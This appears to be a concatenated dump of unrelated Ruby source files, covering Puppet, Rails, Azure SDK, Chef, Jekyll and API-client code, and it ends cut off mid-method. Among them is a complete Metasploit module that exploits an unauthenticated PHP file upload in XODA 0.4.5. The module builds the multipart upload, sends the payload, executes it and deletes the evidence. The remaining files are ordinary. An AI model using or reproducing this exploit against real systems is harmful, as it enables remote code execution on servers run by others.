require File.dirname(__FILE__) + '/../../orawls_core' module Puppet # Type.newtype(:wls_foreign_jndi_provider_link) do include EasyType include Utils::WlsAccess extend Utils::TitleParser desc 'This resource allows you to manage a datasource in an WebLogic domain.' ensurable set_command(:wlst) to_get_raw_resources do Puppet.info "index #{name}" environment = { 'action' => 'index', 'type' => 'wls_foreign_jndi_provider_link' } wlst template('puppet:///modules/orawls/providers/wls_foreign_jndi_provider_link/index.py.erb', binding), environment end on_create do | command_builder | Puppet.info "create #{name} " template('puppet:///modules/orawls/providers/wls_foreign_jndi_provider_link/create.py.erb', binding) end on_modify do | command_builder | Puppet.info "modify #{name} " template('puppet:///modules/orawls/providers/wls_foreign_jndi_provider_link/modify.py.erb', binding) end on_destroy do | command_builder | Puppet.info "destroy #{name} " template('puppet:///modules/orawls/providers/wls_foreign_jndi_provider_link/destroy.py.erb', binding) end parameter :domain parameter :name parameter :link_name parameter :provider_name property :local_jndi_name property :remote_jndi_name add_title_attributes(:provider_name, :link_name) do /^((.*\/)?(.*):(.*))$/ end end end
27.865385
123
0.692892
286d872937bd78200b55f7c957238de0671a0a50
50
class PhysicalExamination < ApplicationRecord end
16.666667
45
0.88
289b337b454037321c4296172a0b3998ef548820
1,479
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Web::Mgmt::V2015_08_01 module Models # # Routing rules in production experiments. # class Experiments include MsRestAzure # @return [Array<RampUpRule>] List of ramp-up rules. attr_accessor :ramp_up_rules # # Mapper for Experiments class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'Experiments', type: { name: 'Composite', class_name: 'Experiments', model_properties: { ramp_up_rules: { client_side_validation: true, required: false, serialized_name: 'rampUpRules', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'RampUpRuleElementType', type: { name: 'Composite', class_name: 'RampUpRule' } } } } } } } end end end end
26.410714
70
0.497634
7a3cfcc383f31f3f87f5f2b82f8fc36cc79dab22
143
module Private::Withdraws class BitcoinCashController < ::Private::Withdraws::BaseController include ::Withdraws::Withdrawable end end
23.833333
68
0.783217
01e842d9b46bdb18a249cc993b30c024446ce002
109
class TechnicalsController < ApplicationController before_action :authenticate_user! def index; end end
18.166667
50
0.825688
ff3b235fdcf8c9c5c2ee4768818005305303f441
1,141
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'faraday_middleware/reddit/version' Gem::Specification.new do |spec| spec.name = "faraday_middleware-reddit" spec.version = FaradayMiddleware::Reddit::VERSION spec.authors = ["Daniel O'Brien"] spec.email = ["[email protected]"] spec.description = %q{A collection of Faraday middleware for use with the Reddit API.} spec.summary = %q{A collection of Faraday middleware for use with the Reddit API.} spec.homepage = "https://github.com/dobs/faraday_middleware-reddit" spec.licenses = ['Apache 2.0'] spec.files = `git ls-files`.split($/) spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] spec.add_development_dependency "bundler", "~> 1.3" spec.add_development_dependency "rake" spec.add_dependency 'faraday', '>= 0.9' spec.add_dependency 'faraday_middleware', '>= 0.9' spec.add_dependency 'hashie', '>= 3.2.0' end
40.75
90
0.67397
61f086d54a80caf46f09393dea3b3a90fecd76af
427
module MaintenanceNoticeHelper def maintenance_notice (start_time, end_time) = ENV['SHOW_DOWNTIME_BANNER'].split(',').map do |d| Time.zone.parse(d.strip).strftime("%l%P") end day = I18n.localize( Time.zone.parse(ENV['SHOW_DOWNTIME_BANNER'].split(',').last.strip), format: "%e %B %Y" ) t('components.maintenance.notice_string', start_time: start_time, end_time: end_time, day: day) end end
30.5
99
0.681499
edd9c951f8469ff43254ccad944d203bd11045ab
375
class CreateUsers < ActiveRecord::Migration[6.0] def change create_table :users do |t| t.string :name t.string :password_digest t.string :email t.integer :photo t.integer :height t.integer :weight t.integer :bodyfat t.integer :calorie_limit t.boolean :admin, default: false t.timestamps end end end
17.857143
48
0.626667
39c792cf3b9c60f3a8a822e5a7a088d7887dc0a7
3,922
# # Resource:: kernel_module # # The MIT License (MIT) # # Copyright 2016-2018, Shopify Inc. # Copyright 2018, Chef Software, Inc. require "chef/resource" class Chef class Resource class KernelModule < Chef::Resource resource_name :kernel_module description "Use the kernel_module resource to manage kernel modules on Linux systems. This resource can load, unload, blacklist, install, and uninstall modules." introduced "14.3" property :modname, String, description: "An optional property to set the kernel module name if it differs from the resource block's name.", name_property: true, identity: true property :load_dir, String, description: "The directory to load modules from.", default: "/etc/modules-load.d" property :unload_dir, String, description: "The modprobe.d directory.", default: "/etc/modprobe.d" action :install do description "Load kernel module, and ensure it loads on reboot." # load the module first before installing new_resource.run_action(:load) directory new_resource.load_dir do recursive true end file "#{new_resource.load_dir}/#{new_resource.modname}.conf" do content "#{new_resource.modname}\n" notifies :run, "execute[update initramfs]", :delayed end with_run_context :root do find_resource(:execute, "update initramfs") do command initramfs_command action :nothing end end end action :uninstall do description "Unload a kernel module and remove module config, so it doesn't load on reboot." file "#{new_resource.load_dir}/#{new_resource.modname}.conf" do action :delete notifies :run, "execute[update initramfs]", :delayed end file "#{new_resource.unload_dir}/blacklist_#{new_resource.modname}.conf" do action :delete notifies :run, "execute[update initramfs]", :delayed end with_run_context :root do find_resource(:execute, "update initramfs") do command initramfs_command action :nothing end end new_resource.run_action(:unload) end action :blacklist do description "Blacklist a kernel module." file "#{new_resource.unload_dir}/blacklist_#{new_resource.modname}.conf" do content "blacklist #{new_resource.modname}" notifies :run, "execute[update initramfs]", :delayed end with_run_context :root do find_resource(:execute, "update initramfs") do command initramfs_command action :nothing end end new_resource.run_action(:unload) end action :load do description "Load a kernel module." unless module_loaded? converge_by("load kernel module #{new_resource.modname}") do shell_out!("modprobe #{new_resource.modname}") end end end action :unload do description "Unload kernel module." if module_loaded? converge_by("unload kernel module #{new_resource.modname}") do shell_out!("modprobe -r #{new_resource.modname}") end end end action_class do # determine the correct command to regen the initramfs based on platform # @return [String] def initramfs_command if platform_family?("debian") "update-initramfs -u" else "dracut -f" end end # see if the module is listed in /proc/modules or not # @return [Boolean] def module_loaded? /^#{new_resource.modname}/.match?(::File.read("/proc/modules")) end end end end end
29.051852
168
0.609128
e90f712b4f776ebab72ef483efd1fa60ce609a5d
855
require 'test_helper' class ProgrammeEditionTest < ActiveSupport::TestCase setup do stub_request(:get, /.*panopticon\.test\.gov\.uk\/artefacts\/.*\.js/). to_return(:status => 200, :body => "{}", :headers => {}) end def template_programme p = ProgrammeEdition.new(:slug=>"childcare", :title=>"Children", :panopticon_id => FactoryGirl.create(:artefact).id) p.save p end test "order parts shouldn't fail if one part's order attribute is nil" do g = template_programme g.parts.build g.parts.build(:order => 1) assert g.order_parts end test "new programme has correct parts" do programme = template_programme assert_equal 5, programme.parts.length ProgrammeEdition::DEFAULT_PARTS.each_with_index { |part, index| assert_equal part[:title], programme.parts[index].title } end end
26.71875
120
0.68538
bfb02535d970a892efd7b0184c3371468e8292c5
1,973
describe "fetching pacts to verify", pending: 'not yet implemented' do before do # td.create_pact_with_hierarchy("Foo", "1", "Bar") # .create_consumer_version_tag("feat-1") # .create_provider_version_tag("master") end let(:path) { "/pacts/provider/Bar/verifiable" } let(:query) do # need to provide the provider tags that will be used when publishing the # verification results, as whether a pact # is pending or not depends on which provider tag we're talking about # eg. if content has been verified on git branch (broker tag) feat-2, # it's still pending on master, and shouldn't fail the build { protocol: "http1", # other option is "message" include_other_pending: true, # whether or not to include pending pacts not already specified by the consumer_version_tags('head' pacts that have not yet been successfully verified) provider_version_tags: [{ name: "feat-2" }], # the provider tags that will be applied to this app version when the results are published consumer_version_tags: [ { name: "feat-1", fallback: "master" }, # allow a fallback to be provided for the "branch mirroring" workflow { name: "test", required: true }, # default to optional or required??? Ron? { name: "prod", all: true } # by default return latest, but allow "all" to be specified for things like mobile apps ] } end let(:rack_env) { { 'HTTP_ACCEPT' => 'application/hal+json' } } let(:response_body_hash) { JSON.parse(subject.body, symbolize_names: true) } subject { get(path, query, rack_env) } it "returns a 200 HAL JSON response" do expect(subject).to be_a_hal_json_success_response end it "returns a list of links to the pacts" do expect(response_body_hash[:_embedded][:'pacts']).to be_instance_of(Array) end it "indicates whether a pact is pending or not" do expect(response_body_hash[:_embedded][:'pacts'].first[:pending]).to be true end end
46.97619
186
0.698429
91a0c1cbf6736272190249cc1ab6a81a9541e346
3,598
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers can abuse the "upload" command in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution. The module has been tested successfully on XODA 0.4.5 and Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shai rod', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'BID', '55127' ], [ 'EDB', '20703' ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['XODA 0.4.5', {}], ], 'Privileged' => false, 'DisclosureDate' => "Aug 21 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"]) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}?upload_to=" }) if res and res.code == 200 and res.body =~ /Upload a file/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm(@payload_name) else client.shell_command_token(@payload_name) end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n" post_data << "\r\n" post_data << "--#{boundary}--\r\n" print_status("#{peer} - Sending PHP payload (#{@payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}?upload", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) if not res or res.code != 302 print_error("#{peer} - File wasn't uploaded, aborting!") return end print_status("#{peer} - Executing PHP payload (#{@payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}files/#{@payload_name}" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returned #{res.code.to_s}") end end end
27.052632
114
0.609783
b9bb1cca88af1004695ff4e8ba95d4b70205d1b5
367
require 'httparty' module Proz class GetSingleWiwoEntry include HTTParty base_uri "https://api.proz.com/v2" attr_reader :token, :wiwo_id def initialize(token:, wiwo_id:) @token = token @wiwo_id = wiwo_id end def get self.class.get("/wiwo/#{wiwo_id}", headers: { 'Authorization' => "Bearer #{token}" } ) end end end
20.388889
92
0.632153
0359471a4cdbfbaadfc3ced343a04c2e80be38cf
11,694
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. require 'azure_mgmt_postgresql' module Azure::Postgresql::Profiles::Latest module Mgmt Servers = Azure::Postgresql::Mgmt::V2017_12_01::Servers Replicas = Azure::Postgresql::Mgmt::V2017_12_01::Replicas FirewallRules = Azure::Postgresql::Mgmt::V2017_12_01::FirewallRules VirtualNetworkRules = Azure::Postgresql::Mgmt::V2017_12_01::VirtualNetworkRules Databases = Azure::Postgresql::Mgmt::V2017_12_01::Databases Configurations = Azure::Postgresql::Mgmt::V2017_12_01::Configurations LogFiles = Azure::Postgresql::Mgmt::V2017_12_01::LogFiles LocationBasedPerformanceTier = Azure::Postgresql::Mgmt::V2017_12_01::LocationBasedPerformanceTier CheckNameAvailability = Azure::Postgresql::Mgmt::V2017_12_01::CheckNameAvailability ServerSecurityAlertPolicies = Azure::Postgresql::Mgmt::V2017_12_01::ServerSecurityAlertPolicies Operations = Azure::Postgresql::Mgmt::V2017_12_01::Operations module Models VirtualNetworkRuleListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRuleListResult FirewallRuleListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::FirewallRuleListResult NameAvailabilityRequest = Azure::Postgresql::Mgmt::V2017_12_01::Models::NameAvailabilityRequest StorageProfile = Azure::Postgresql::Mgmt::V2017_12_01::Models::StorageProfile ProxyResource = Azure::Postgresql::Mgmt::V2017_12_01::Models::ProxyResource NameAvailability = Azure::Postgresql::Mgmt::V2017_12_01::Models::NameAvailability PerformanceTierListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierListResult Operation = Azure::Postgresql::Mgmt::V2017_12_01::Models::Operation PerformanceTierServiceLevelObjectives = Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierServiceLevelObjectives ServerPropertiesForCreate = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForCreate LogFileListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::LogFileListResult OperationListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationListResult ServerUpdateParameters = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerUpdateParameters PerformanceTierProperties = Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierProperties DatabaseListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::DatabaseListResult ServerForCreate = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerForCreate Sku = Azure::Postgresql::Mgmt::V2017_12_01::Models::Sku ConfigurationListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::ConfigurationListResult ServerListResult = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerListResult OperationDisplay = Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationDisplay TrackedResource = Azure::Postgresql::Mgmt::V2017_12_01::Models::TrackedResource ServerPropertiesForDefaultCreate = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForDefaultCreate ServerPropertiesForRestore = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForRestore ServerPropertiesForGeoRestore = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForGeoRestore ServerPropertiesForReplica = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForReplica Server = Azure::Postgresql::Mgmt::V2017_12_01::Models::Server FirewallRule = Azure::Postgresql::Mgmt::V2017_12_01::Models::FirewallRule VirtualNetworkRule = Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRule Database = Azure::Postgresql::Mgmt::V2017_12_01::Models::Database Configuration = Azure::Postgresql::Mgmt::V2017_12_01::Models::Configuration LogFile = Azure::Postgresql::Mgmt::V2017_12_01::Models::LogFile ServerSecurityAlertPolicy = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerSecurityAlertPolicy ServerVersion = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerVersion SslEnforcementEnum = Azure::Postgresql::Mgmt::V2017_12_01::Models::SslEnforcementEnum ServerState = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerState GeoRedundantBackup = Azure::Postgresql::Mgmt::V2017_12_01::Models::GeoRedundantBackup StorageAutogrow = Azure::Postgresql::Mgmt::V2017_12_01::Models::StorageAutogrow SkuTier = Azure::Postgresql::Mgmt::V2017_12_01::Models::SkuTier VirtualNetworkRuleState = Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRuleState OperationOrigin = Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationOrigin ServerSecurityAlertPolicyState = Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerSecurityAlertPolicyState end # # PostgresqlManagementClass # class PostgresqlManagementClass attr_reader :servers, :replicas, :firewall_rules, :virtual_network_rules, :databases, :configurations, :log_files, :location_based_performance_tier, :check_name_availability, :server_security_alert_policies, :operations, :configurable, :base_url, :options, :model_classes def initialize(options = {}) if options.is_a?(Hash) && options.length == 0 @options = setup_default_options else @options = options end reset!(options) @configurable = self @base_url = options[:base_url].nil? ? nil:options[:base_url] @options = options[:options].nil? ? nil:options[:options] @client_0 = Azure::Postgresql::Mgmt::V2017_12_01::PostgreSQLManagementClient.new(configurable.credentials, base_url, options) if(@client_0.respond_to?(:subscription_id)) @client_0.subscription_id = configurable.subscription_id end add_telemetry(@client_0) @servers = @client_0.servers @replicas = @client_0.replicas @firewall_rules = @client_0.firewall_rules @virtual_network_rules = @client_0.virtual_network_rules @databases = @client_0.databases @configurations = @client_0.configurations @log_files = @client_0.log_files @location_based_performance_tier = @client_0.location_based_performance_tier @check_name_availability = @client_0.check_name_availability @server_security_alert_policies = @client_0.server_security_alert_policies @operations = @client_0.operations @model_classes = ModelClasses.new end def add_telemetry(client) profile_information = 'Profiles/Latest/Postgresql/Mgmt' client.add_user_agent_information(profile_information) end def method_missing(method, *args) if @client_0.respond_to?method @client_0.send(method, *args) else super end end end class ModelClasses def virtual_network_rule_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRuleListResult end def firewall_rule_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::FirewallRuleListResult end def name_availability_request Azure::Postgresql::Mgmt::V2017_12_01::Models::NameAvailabilityRequest end def storage_profile Azure::Postgresql::Mgmt::V2017_12_01::Models::StorageProfile end def proxy_resource Azure::Postgresql::Mgmt::V2017_12_01::Models::ProxyResource end def name_availability Azure::Postgresql::Mgmt::V2017_12_01::Models::NameAvailability end def performance_tier_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierListResult end def operation Azure::Postgresql::Mgmt::V2017_12_01::Models::Operation end def performance_tier_service_level_objectives Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierServiceLevelObjectives end def server_properties_for_create Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForCreate end def log_file_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::LogFileListResult end def operation_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationListResult end def server_update_parameters Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerUpdateParameters end def performance_tier_properties Azure::Postgresql::Mgmt::V2017_12_01::Models::PerformanceTierProperties end def database_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::DatabaseListResult end def server_for_create Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerForCreate end def sku Azure::Postgresql::Mgmt::V2017_12_01::Models::Sku end def configuration_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::ConfigurationListResult end def server_list_result Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerListResult end def operation_display Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationDisplay end def tracked_resource Azure::Postgresql::Mgmt::V2017_12_01::Models::TrackedResource end def server_properties_for_default_create Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForDefaultCreate end def server_properties_for_restore Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForRestore end def server_properties_for_geo_restore Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForGeoRestore end def server_properties_for_replica Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerPropertiesForReplica end def server Azure::Postgresql::Mgmt::V2017_12_01::Models::Server end def firewall_rule Azure::Postgresql::Mgmt::V2017_12_01::Models::FirewallRule end def virtual_network_rule Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRule end def database Azure::Postgresql::Mgmt::V2017_12_01::Models::Database end def configuration Azure::Postgresql::Mgmt::V2017_12_01::Models::Configuration end def log_file Azure::Postgresql::Mgmt::V2017_12_01::Models::LogFile end def server_security_alert_policy Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerSecurityAlertPolicy end def server_version Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerVersion end def ssl_enforcement_enum Azure::Postgresql::Mgmt::V2017_12_01::Models::SslEnforcementEnum end def server_state Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerState end def geo_redundant_backup Azure::Postgresql::Mgmt::V2017_12_01::Models::GeoRedundantBackup end def storage_autogrow Azure::Postgresql::Mgmt::V2017_12_01::Models::StorageAutogrow end def sku_tier Azure::Postgresql::Mgmt::V2017_12_01::Models::SkuTier end def virtual_network_rule_state Azure::Postgresql::Mgmt::V2017_12_01::Models::VirtualNetworkRuleState end def operation_origin Azure::Postgresql::Mgmt::V2017_12_01::Models::OperationOrigin end def server_security_alert_policy_state Azure::Postgresql::Mgmt::V2017_12_01::Models::ServerSecurityAlertPolicyState end end end end
47.730612
277
0.733624
791d3c662fd5e8df39d422e7acaf2535d64977b5
2,457
# Frozen-string-literal: true # Copyright: 2012 - 2018 - MIT License # Encoding: utf-8 module Jekyll module Assets class Default < Extensible # -- # @param [String] type the content type. # @param [Hash] args the args from the liquid tag. # Get all of the static defaults. # @return [Hash] # -- def self.get(type:, args:) rtn = Default.inherited.select do |o| o.for?({ type: type, args: args, }) end ida = HashWithIndifferentAccess.new rtn.sort { |v| v.internal? ? 1 : - 1 }.each_with_object(ida) do |v, h| h.deep_merge!(v.static) end end # -- # Set non-static defaults around the asset. # @param [Hash] args the arguments to work on. # @param [String] type the content type to work with. # @param [Sprockets::Asset] asset the asset. # @param [Env] env the environment. # @return nil # -- def self.set(args, asset:, ctx:) set_static(args, asset: asset) rtn = Default.inherited.select do |o| o.for?(type: asset.content_type, args: args) end rtn.each do |o| o.new({ args: args, asset: asset, ctx: ctx, }).run end end # -- def self.set_static(args, asset:) get(type: asset.content_type, args: args).each do |k, v| k = k.to_sym unless args.key?(k) args[k] = args[k].is_a?(Hash) ? args[k].deep_merge(v) : v end end end # -- # @param [Hash] hash the defaults. # @note this is used from your inherited class. # Allows you to set static defaults for your defaults. # @return nil # -- def self.static(hash = nil) return @static ||= {}.with_indifferent_access if hash.nil? static.deep_merge!(hash) end # -- # Search for set_* methods and run those setters. # @note this shouldn't be used directly by end-users. # @return nile # -- def run methods = self.class.instance_methods - Object.instance_methods methods.grep(%r!^set_!).each do |v| send(v) end end # -- def config @config ||= @env.asset_config[:defaults][self.class .name.split("::").last.downcase] end end end end
26.138298
78
0.527473
6a8031c30b15e0d8853505e555d654fd6bcb49ff
320
require 'spec_helper' describe Seek::Indexer do subject { described_class.new } describe 'add' do let(:document) { Seek::Indexer::Document.new('xxy', 'I know where he is') } it 'should add a document' do subject.add(document) expect(subject.dictionary['know']).to include 'xxy' end end end
26.666667
79
0.671875
f8d820b776b625c26d516924fda7c27e6632d842
11,209
require 'puppet/parser/parser' require 'puppet/util/warnings' require 'puppet/util/errors' require 'puppet/util/inline_docs' require 'puppet/parser/ast/leaf' require 'puppet/dsl' class Puppet::Resource::Type Puppet::ResourceType = self include Puppet::Util::InlineDocs include Puppet::Util::Warnings include Puppet::Util::Errors RESOURCE_SUPERTYPES = [:hostclass, :node, :definition] attr_accessor :file, :line, :doc, :code, :ruby_code, :parent, :resource_type_collection attr_reader :type, :namespace, :arguments, :behaves_like, :module_name RESOURCE_SUPERTYPES.each do |t| define_method("#{t}?") { self.type == t } end require 'puppet/indirector' extend Puppet::Indirector indirects :resource_type, :terminus_class => :parser def self.from_pson(data) name = data.delete('name') or raise ArgumentError, "Resource Type names must be specified" type = data.delete('type') || "definition" data = data.inject({}) { |result, ary| result[ary[0].intern] = ary[1]; result } new(type, name, data) end def to_pson_data_hash data = [:doc, :line, :file, :parent].inject({}) do |hash, param| next hash unless (value = self.send(param)) and (value != "") hash[param.to_s] = value hash end data['arguments'] = arguments.dup unless arguments.empty? data['name'] = name data['type'] = type data end def to_pson(*args) to_pson_data_hash.to_pson(*args) end # Are we a child of the passed class? Do a recursive search up our # parentage tree to figure it out. def child_of?(klass) return false unless parent return(klass == parent_type ? true : parent_type.child_of?(klass)) end # Now evaluate the code associated with this class or definition. def evaluate_code(resource) static_parent = evaluate_parent_type(resource) scope = static_parent || resource.scope scope = scope.newscope(:namespace => namespace, :source => self, :resource => resource, :dynamic => !static_parent) unless resource.title == :main scope.compiler.add_class(name) unless definition? set_resource_parameters(resource, scope) code.safeevaluate(scope) if code evaluate_ruby_code(resource, scope) if ruby_code end def initialize(type, name, options = {}) @type = type.to_s.downcase.to_sym raise ArgumentError, "Invalid resource supertype '#{type}'" unless RESOURCE_SUPERTYPES.include?(@type) name = convert_from_ast(name) if name.is_a?(Puppet::Parser::AST::HostName) set_name_and_namespace(name) [:code, :doc, :line, :file, :parent].each do |param| next unless value = options[param] send(param.to_s + "=", value) end set_arguments(options[:arguments]) @module_name = options[:module_name] end # This is only used for node names, and really only when the node name # is a regexp. def match(string) return string.to_s.downcase == name unless name_is_regex? @name =~ string end # Add code from a new instance to our code. def merge(other) fail "#{name} is not a class; cannot add code to it" unless type == :hostclass fail "#{other.name} is not a class; cannot add code from it" unless other.type == :hostclass fail "Cannot have code outside of a class/node/define because 'freeze_main' is enabled" if name == "" and Puppet.settings[:freeze_main] if parent and other.parent and parent != other.parent fail "Cannot merge classes with different parent classes (#{name} => #{parent} vs. #{other.name} => #{other.parent})" end # We know they're either equal or only one is set, so keep whichever parent is specified. self.parent ||= other.parent if other.doc self.doc ||= "" self.doc += other.doc end # This might just be an empty, stub class. return unless other.code unless self.code self.code = other.code return end array_class = Puppet::Parser::AST::ASTArray self.code = array_class.new(:children => [self.code]) unless self.code.is_a?(array_class) if other.code.is_a?(array_class) code.children += other.code.children else code.children << other.code end end # Make an instance of the resource type, and place it in the catalog # if it isn't in the catalog already. This is only possible for # classes and nodes. No parameters are be supplied--if this is a # parameterized class, then all parameters take on their default # values. def ensure_in_catalog(scope, parameters=nil) type == :definition and raise ArgumentError, "Cannot create resources for defined resource types" resource_type = type == :hostclass ? :class : :node # Do nothing if the resource already exists; this makes sure we don't # get multiple copies of the class resource, which helps provide the # singleton nature of classes. # we should not do this for classes with parameters # if parameters are passed, we should still try to create the resource # even if it exists so that we can fail # this prevents us from being able to combine param classes with include if resource = scope.catalog.resource(resource_type, name) and !parameters return resource end resource = Puppet::Parser::Resource.new(resource_type, name, :scope => scope, :source => self) if parameters parameters.each do |k,v| resource.set_parameter(k,v) end end instantiate_resource(scope, resource) scope.compiler.add_resource(scope, resource) resource end def instantiate_resource(scope, resource) # Make sure our parent class has been evaluated, if we have one. if parent && !scope.catalog.resource(resource.type, parent) parent_type(scope).ensure_in_catalog(scope) end if ['Class', 'Node'].include? resource.type scope.catalog.tag(*resource.tags) end end def name return @name unless @name.is_a?(Regexp) @name.source.downcase.gsub(/[^-\w:.]/,'').sub(/^\.+/,'') end def name_is_regex? @name.is_a?(Regexp) end # MQR TODO: # # The change(s) introduced by the fix for #4270 are mostly silly & should be # removed, though we didn't realize it at the time. If it can be established/ # ensured that nodes never call parent_type and that resource_types are always # (as they should be) members of exactly one resource_type_collection the # following method could / should be replaced with: # # def parent_type # @parent_type ||= parent && ( # resource_type_collection.find_or_load([name],parent,type.to_sym) || # fail Puppet::ParseError, "Could not find parent resource type '#{parent}' of type #{type} in #{resource_type_collection.environment}" # ) # end # # ...and then the rest of the changes around passing in scope reverted. # def parent_type(scope = nil) return nil unless parent unless @parent_type raise "Must pass scope to parent_type when called first time" unless scope unless @parent_type = scope.environment.known_resource_types.send("find_#{type}", [name], parent) fail Puppet::ParseError, "Could not find parent resource type '#{parent}' of type #{type} in #{scope.environment}" end end @parent_type end # Set any arguments passed by the resource as variables in the scope. def set_resource_parameters(resource, scope) set = {} resource.to_hash.each do |param, value| param = param.to_sym fail Puppet::ParseError, "#{resource.ref} does not accept attribute #{param}" unless valid_parameter?(param) exceptwrap { scope.setvar(param.to_s, value) } set[param] = true end if @type == :hostclass scope.setvar("title", resource.title.to_s.downcase) unless set.include? :title scope.setvar("name", resource.name.to_s.downcase ) unless set.include? :name else scope.setvar("title", resource.title ) unless set.include? :title scope.setvar("name", resource.name ) unless set.include? :name end scope.setvar("module_name", module_name) if module_name and ! set.include? :module_name if caller_name = scope.parent_module_name and ! set.include?(:caller_module_name) scope.setvar("caller_module_name", caller_name) end scope.class_set(self.name,scope) if hostclass? or node? # Verify that all required arguments are either present or # have been provided with defaults. arguments.each do |param, default| param = param.to_sym next if set.include?(param) # Even if 'default' is a false value, it's an AST value, so this works fine fail Puppet::ParseError, "Must pass #{param} to #{resource.ref}" unless default value = default.safeevaluate(scope) scope.setvar(param.to_s, value) # Set it in the resource, too, so the value makes it to the client. resource[param] = value end end # Check whether a given argument is valid. def valid_parameter?(param) param = param.to_s return true if param == "name" return true if Puppet::Type.metaparam?(param) return false unless defined?(@arguments) return(arguments.include?(param) ? true : false) end def set_arguments(arguments) @arguments = {} return if arguments.nil? arguments.each do |arg, default| arg = arg.to_s warn_if_metaparam(arg, default) @arguments[arg] = default end end private def convert_from_ast(name) value = name.value if value.is_a?(Puppet::Parser::AST::Regex) name = value.value else name = value end end def evaluate_parent_type(resource) return unless klass = parent_type(resource.scope) 